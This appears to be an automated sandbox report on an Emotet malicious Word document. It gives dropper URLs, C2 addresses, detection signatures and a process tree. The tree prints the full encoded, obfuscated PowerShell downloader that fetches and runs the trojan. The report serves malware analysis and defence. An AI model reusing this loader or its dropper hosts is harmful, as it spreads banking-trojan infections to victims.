Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    71s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    23/10/2020, 01:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_2eb12ffa679fb839847b56e9a70f0636ea3452803d9faedb03948144d6857e45_2020-10-23__012936439894._doc.doc
  • Size 194KB
  • Sample201023-66cb21mfx2
  • SHA256 2eb12ffa679fb839847b56e9a70f0636ea3452803d9faedb03948144d6857e45
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://primaage.com/wp-admin/is/
  • exe.dropper

    http://uvibrands.com/QIG/
  • exe.dropper

    https://morrobaydrugandgift.com/wp-contentbak/T9M/
  • exe.dropper

    http://autodidactai.com/wp-content/5SF/
  • exe.dropper

    https://cs.vitalero.com/wp-includes/Vf/
  • exe.dropper

    http://arcadia-consult.com/wp-admin/6O/
  • exe.dropper

    http://acheterpermis-deconduire.com/wp-admin/network/vv/

Extracted

Family

  • emotet

Botnet

  • Epoch1

C2

  • 177.107.79.214:8080

  • 98.103.204.12:443

  • 59.148.253.194:8080

  • 172.86.186.21:8080

  • 186.70.127.199:8090

  • 201.213.177.139:80

  • 177.23.7.151:80

  • 12.162.84.2:8080

  • 45.33.77.42:8080

  • 200.59.6.174:80

  • 62.84.75.50:80

  • 201.49.239.200:443

  • 202.134.4.210:7080

  • 98.13.75.196:80

  • 46.43.2.95:8080

  • 177.129.17.170:443

  • 152.169.22.67:80

  • 138.97.60.141:7080

  • 45.46.37.97:80

  • 46.105.114.137:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2eb12ffa679fb839847b56e9a70f0636ea3452803d9faedb03948144d6857e45_2020-10-23__012936439894._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1516
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IABTAEUAVAAtAHYAYQByAGkAYQBiAEwARQAgAG0AeABrADcAIAAoACAAIABbAHQAeQBQAGUAXQAoACIAewAzAH0AewA0AH0AewA1AH0AewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAnAGkAUgAnACwAJwBFAGMAdABvAHIAWQAnACwAJwBkACcALAAnAFMAJwAsACcAWQBzAHQARQBNAC4AJwAsACcAaQBvAC4AJwApACAAKQA7AFMAZQB0AC0AaQB0AEUATQAgACAAVgBBAFIAaQBBAEIATABFADoAaAB5AE4AdwBCADMAIAAgACgAIAAgAFsAVABZAHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADEAfQAiACAALQBmACcARQBNAC4ATgBlAFQALgBTACcALAAnAHIAVgBJAEMARQBQAG8AaQBuAHQATQBBAE4AQQBHAGUAUgAnACwAJwBzAFQAJwAsACcAcwB5ACcALAAnAEUAJwApACkAIAAgADsAIAAgACQATABmAGEAZQAzAHoANwA9ACgAJwBZAGwAJwArACgAJwA2ACcAKwAnAG0AegB2ACcAKQArACcAZgAnACkAOwAkAEwANgBqAG0AaQBzADkAPQAkAFYAcABmAHEAXwA0AG8AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFAAMQA0ADEAZABqAGsAOwAkAE0AbgA4AGQAcgA1AGEAPQAoACgAJwBLACcAKwAnAG8AeQBkAHYAJwApACsAJwA0AGEAJwApADsAIAAgACQATQB4AEsANwA6ADoAIgBjAHIARQBBAHQAYABlAEQAaQBSAEUAYABjAHQAbwBgAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AEgAbAB5AHcAbwBxAGYAewAwAH0ATAAnACsAJwAxADYAJwArACgAJwBpAHkAJwArACcAMgAnACkAKwAnAG4AewAwACcAKwAnAH0AJwApACAAIAAtAEYAIABbAGMASABBAFIAXQA5ADIAKQApADsAJABQADYAcABqAHcAOQA3AD0AKAAnAFQAbgAnACsAKAAnAHQAYwAnACsAJwA4AGcAZwAnACkAKQA7ACAAIAAoAGcAZQBUAC0AVgBBAFIAaQBhAEIAbABlACAAIABoAFkATgB3AEIAMwAgACAALQBWAGEATABVAGUATwApADoAOgAiAFMAYABlAGMAdQBgAFIAYABJAHQAeQBQAFIAYABPAHQAbwBjAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKQA7ACQAQQBnADcAbAB5AGIAcwA9ACgAKAAnAEsAdQAnACsAJwBhAHcAZQAnACkAKwAnAGsAJwArACcAYwAnACkAOwAkAE0AMgBoAHAAMgB5AG8AIAA9ACAAKAAoACcAUgAnACsAJwA5AGUAaQAnACkAKwAoACcANQBhAGMAJwArACcAdQAnACkAKwAnAHMAJwApADsAJABJAGUAbAAwADEAagBoAD0AKAAnAEIAJwArACgAJwBwACcAKwAnADkAJwArACcAegBoAHUAbgAnACkAKQA7ACQAVwBjADgAawBzAHIAawA9ACgAKAAnAEoAMAAnACsAJwBiACcAKQArACcAMAA3ACcAKwAnAGEAZQAnACkAOwAkAEcAcABqAGsAaAAwADkAPQAkAEgATwBNAEUAKwAoACgAKAAnAE0ANABDAEgAbAAnACsAJwB5ACcAKQArACcAdwBvACcAKwAnAHEAZgAnACsAJwBNADQAJwArACgAJwBDAEwAMQA2AGkAeQAyACcAKwAnAG4ATQAnACsAJwA0AEMAJwApACkALQByAGUAcABsAEEAYwBlACAAIAAoAFsAQwBoAGEAcgBdADcANwArAFsAQwBoAGEAcgBdADUAMgArAFsAQwBoAGEAcgBdADYANwApACwAWwBDAGgAYQByAF0AOQAyACkAKwAkAE0AMgBoAHAAMgB5AG8AKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABWAG8AegBuAHoAcQA1AD0AKAAoACcASwAnACsAJwBnAGkAeQAnACkAKwAnADYAJwArACcAXwAxACcAKQA7ACQAWgBoAHgAOABiAHgAMgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAYgBDAGwAaQBFAG4AVAA7ACQAUgBuAGQAbQBfADcAZwA9ACgAKAAnAGgAdAB0AHAAOgA9AFAATwAnACsAJwAzACcAKwAnADIAPQBQAE8AJwArACcAMwAnACsAJwAyAHAAcgAnACkAKwAnAGkAJwArACgAJwBtAGEAJwArACcAYQAnACkAKwAoACcAZwBlAC4AYwAnACsAJwBvACcAKwAnAG0APQBQACcAKwAnAE8AMwAyAHcAJwArACcAcAAnACkAKwAoACcALQBhAGQAbQBpAG4AJwArACcAPQBQAE8AJwArACcAMwAyACcAKQArACgAJwBpAHMAPQAnACsAJwBQACcAKQArACgAJwBPADMAMgAnACsAJwBAAGgAJwApACsAKAAnAHQAdABwACcAKwAnADoAJwApACsAJwA9AFAAJwArACgAJwBPADMAMgAnACsAJwA9AFAATwAnACsAJwAzADIAJwApACsAKAAnAHUAdgAnACsAJwBpACcAKQArACgAJwBiAHIAJwArACcAYQAnACkAKwAoACcAbgBkACcAKwAnAHMALgAnACsAJwBjAG8AJwApACsAKAAnAG0APQBQACcAKwAnAE8AMwAyAFEASQBHACcAKwAnAD0AJwArACcAUABPACcAKQArACgAJwAzADIAQABoAHQAJwArACcAdAAnACkAKwAoACcAcABzADoAPQBQACcAKwAnAE8AMwAyAD0AJwApACsAJwBQAE8AJwArACcAMwAyACcAKwAoACcAbQBvAHIAcgBvACcAKwAnAGIAJwArACcAYQB5AGQAcgAnACkAKwAnAHUAJwArACgAJwBnAGEAbgBkAGcAaQAnACsAJwBmACcAKQArACgAJwB0AC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAD0AUABPADMAMgAnACkAKwAnAHcAJwArACgAJwBwAC0AJwArACcAYwAnACkAKwAoACcAbwBuAHQAZQBuAHQAYgBhAGsAPQAnACsAJwBQACcAKwAnAE8AJwArACcAMwAnACkAKwAoACcAMgAnACsAJwBUADkATQAnACkAKwAoACcAPQBQAE8AJwArACcAMwAyACcAKQArACgAJwBAAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACsAJwA6AD0AJwArACcAUABPACcAKwAoACcAMwAyACcAKwAnAD0AJwApACsAJwBQACcAKwAoACcATwAzADIAJwArACcAYQAnACkAKwAoACcAdQB0AG8AJwArACcAZABpAGQAJwArACcAYQBjAHQAJwApACsAKAAnAGEAaQAuACcAKwAnAGMAbwBtAD0AJwArACcAUABPACcAKwAnADMAJwApACsAKAAnADIAdwAnACsAJwBwACcAKQArACgAJwAtAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAbgB0AD0AUAAnACsAJwBPACcAKQArACgAJwAzADIANQBTAEYAPQAnACsAJwBQACcAKwAnAE8AMwAyAEAAaAB0ACcAKwAnAHQAcABzACcAKQArACgAJwA6AD0AJwArACcAUAAnACkAKwAnAE8AJwArACgAJwAzADIAJwArACcAPQBQAE8AJwApACsAKAAnADMAJwArACcAMgBjACcAKQArACgAJwBzAC4AJwArACcAdgAnACkAKwAnAGkAdAAnACsAJwBhACcAKwAoACcAbAAnACsAJwBlACcAKwAnAHIAbwAuAGMAbwBtAD0AJwApACsAJwBQACcAKwAoACcATwAzADIAJwArACcAdwAnACkAKwAoACcAcAAtAGkAbgAnACsAJwBjAGwAJwArACcAdQBkAGUAcwA9ACcAKQArACgAJwBQAE8AJwArACcAMwAyAFYAJwApACsAKAAnAGYAJwArACcAPQBQACcAKQArACcATwAzACcAKwAnADIAJwArACgAJwBAACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoAJwArACcAPQBQAE8AMwAnACkAKwAoACcAMgA9AFAATwAnACsAJwAzADIAYQAnACkAKwAnAHIAJwArACgAJwBjAGEAJwArACcAZAAnACkAKwAoACcAaQBhAC0AJwArACcAYwBvACcAKQArACgAJwBuAHMAdQAnACsAJwBsAHQALgAnACkAKwAnAGMAJwArACgAJwBvAG0AJwArACcAPQBQAE8AMwAyAHcAJwArACcAcAAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpACcAKwAnAG4APQBQAE8AMwAnACkAKwAnADIAJwArACgAJwA2AE8AJwArACcAPQBQACcAKQArACgAJwBPADMAJwArACcAMgBAAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoAPQBQAE8AMwAnACkAKwAoACcAMgA9AFAATwAnACsAJwAzADIAYQAnACkAKwAnAGMAJwArACcAaABlACcAKwAoACcAdABlACcAKwAnAHIAJwApACsAJwBwACcAKwAoACcAZQByACcAKwAnAG0AaQAnACkAKwAoACcAcwAnACsAJwAtAGQAJwApACsAJwBlACcAKwAnAGMAbwAnACsAKAAnAG4AJwArACcAZAB1ACcAKQArACgAJwBpAHIAZQAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQA9ACcAKwAnAFAATwAnACsAJwAzADIAdwAnACkAKwAoACcAcAAtACcAKwAnAGEAJwApACsAJwBkACcAKwAoACcAbQAnACsAJwBpACcAKwAnAG4APQBQAE8AMwAnACkAKwAoACcAMgBuAGUAdAAnACsAJwB3ACcAKQArACcAbwByACcAKwAoACcAawA9AFAATwAzADIAJwArACcAdgB2AD0AUAAnACsAJwBPACcAKQArACcAMwAyACcAKQAuACIAcgBlAFAATABhAGAAQwBFACIAKAAoACcAPQAnACsAKAAnAFAATwAzACcAKwAnADIAJwApACkALAAnAC8AJwApAC4AIgBTAFAAYABsAGkAVAAiACgAJABXAG8AZgBhAHgAaAAzACAAKwAgACQATAA2AGoAbQBpAHMAOQAgACsAIAAkAFYAdQB2ADIAaABqAGMAKQA7ACQASAB4ADcANAA2AF8AMgA9ACgAKAAnAEYAZQAnACsAJwA3AGwAJwApACsAKAAnAGoAeAAnACsAJwA3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABOADUAOQBmADcAaAA4ACAAaQBuACAAJABSAG4AZABtAF8ANwBnACkAewB0AHIAeQB7ACQAWgBoAHgAOABiAHgAMgAuACIARABgAG8AVwBuAGwATwBhAEQAZgBgAGkATABlACIAKAAkAE4ANQA5AGYANwBoADgALAAgACQARwBwAGoAawBoADAAOQApADsAJABHAHIAYwByADYAZAB5AD0AKAAoACcAUAAnACsAJwA1AHQAZQA3ACcAKQArACcAZAAnACsAJwB2ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABHAHAAagBrAGgAMAA5ACkALgAiAEwARQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwAzADEANwA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAbgAzACcAKwAnADIAJwApACsAKAAnAF8AJwArACcAUAByAG8AJwApACsAKAAnAGMAZQBzACcAKwAnAHMAJwApACkAKQAuACIAQwByAGUAYABBAHQARQAiACgAJABHAHAAagBrAGgAMAA5ACkAOwAkAEUAbgBpAGUAOQAxADcAPQAoACgAJwBUADQAJwArACcAdABtACcAKwAnAHEAeAAnACkAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABFAHMAMgBnAHYAaABoAD0AKAAnAEcAJwArACgAJwBoAGIAJwArACcAcgB3AHQAJwApACsAJwBlACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwBoAGQAagB5AGoAbAA9ACgAJwBGACcAKwAoACcANABkACcAKwAnAGwAZgBsAGYAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:840
  • C:\Users\Admin\Hlywoqf\L16iy2n\R9ei5acus.exe
    C:\Users\Admin\Hlywoqf\L16iy2n\R9ei5acus.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1008
    • C:\Windows\SysWOW64\KBDBGPH1\NlsData000a.exe
      "C:\Windows\SysWOW64\KBDBGPH1\NlsData000a.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1016

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/840-9-0x0000000002550000-0x0000000002551000-memory.dmp
        Download

        memory/840-6-0x000007FEEA5F0000-0x000007FEEAFDC000-memory.dmp
        Download

        memory/840-11-0x000000001B550000-0x000000001B551000-memory.dmp
        Download

        memory/840-12-0x000000001B900000-0x000000001B901000-memory.dmp
        Download

        memory/840-10-0x0000000002370000-0x0000000002371000-memory.dmp
        Download

        memory/840-7-0x0000000002490000-0x0000000002491000-memory.dmp
        Download

        memory/840-8-0x000000001A9C0000-0x000000001A9C1000-memory.dmp
        Download

        memory/1008-15-0x0000000001E90000-0x0000000001EB1000-memory.dmp
        Download

        memory/1008-14-0x00000000003C0000-0x00000000003E3000-memory.dmp
        Download

        memory/1016-21-0x0000000000240000-0x0000000000263000-memory.dmp
        Download

        memory/1016-22-0x00000000002B0000-0x00000000002D1000-memory.dmp
        Download

        memory/1220-23-0x000007FEF8560000-0x000007FEF87DA000-memory.dmp
        Download

        memory/1516-2-0x0000000008AA0000-0x0000000008AA4000-memory.dmp
        Download

        memory/1516-5-0x0000000006FB0000-0x00000000071B0000-memory.dmp
        Download